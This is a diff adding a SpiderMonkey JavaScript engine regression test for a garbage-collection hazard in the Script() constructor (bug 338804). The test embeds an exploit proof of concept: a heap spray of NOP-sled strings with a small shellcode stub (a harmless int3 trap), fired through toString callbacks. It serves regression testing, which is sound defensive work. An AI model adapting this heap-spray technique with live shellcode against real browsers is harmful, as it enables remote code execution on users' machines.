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diff --git a/js/src/tests/js1_5/extensions/regress-338804-02.js b/js/src/tests/js1_5/extensions/regress-338804-02.js
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+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338804;
+var summary = 'GC hazards in constructor functions';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('Uses Intel Assembly');
+
+// <script>
+// SpiderMonkey Script() GC hazard exploit
+//
+// scale: magic number ;-)
+// BonEcho/2.0a2: 3000
+// Firefox/1.5.0.4: 2000
+//
+var rooter, scale = 2000;
+
+exploit();
+/*
+ if(typeof(setTimeout) != "undefined") {
+ setTimeout(exploit, 2000);
+ } else {
+ exploit();
+ }
+*/
+
+function exploit() {
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ Script({ toString: fillHeap });
+ Script({ toString: fillHeap });
+ }
+}
+
+function createPayload() {
+ var result = "\u9090", i;
+ for(i = 0; i < 9; i++) {
+ result += result;
+ }
+ /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
+ result += "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
+ return result;
+}
+
+function fillHeap() {
+ rooter = [];
+ var payload = createPayload(), block = "", s2 = scale * 2, i;
+ for(i = 0; i < scale; i++) {
+ rooter[i] = block = block + payload;
+ }
+ for(; i < s2; i++) {
+ rooter[i] = payload + i;
+ }
+ return "";
+}
+
+// </script>
+
+reportCompare(expect, actual, summary);